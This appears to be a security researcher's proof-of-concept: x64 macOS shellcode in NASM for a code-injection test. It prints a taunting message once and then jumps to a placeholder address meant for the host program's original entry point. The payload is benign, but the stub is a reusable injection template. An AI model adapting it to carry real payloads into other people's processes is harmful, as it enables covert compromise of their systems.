[BITS 64]

; Compile with "nasm shellcode.asm -o shellcode.bin -fbin"
; Convert to C with "xxd -i ./shellcode.bin"

global _main

section .text
_main:
_start:
    cmp byte [rel already_run], 1
    je skip
    push rax
    push rbx
    push rcx
    push rdx
    push rbp
    push rsi
    push rdi
    
    mov rax, 0x2000004
    mov rdi, 1
    lea rsi, [rel msg]
    mov rdx, msg.len
    syscall

    pop rdi
    pop rsi
    pop rbp
    pop rdx
    pop rcx
    pop rbx
    pop rax
    mov byte [rel already_run], 1

skip:
    mov rax, 0x4141414141414141
    jmp rax

msg: db 0xa,0xa,'WHO NEEDS AMSI?? ;) Injection test by @_xpn_',0xa,0xa
.len: equ $ - msg
already_run: db 0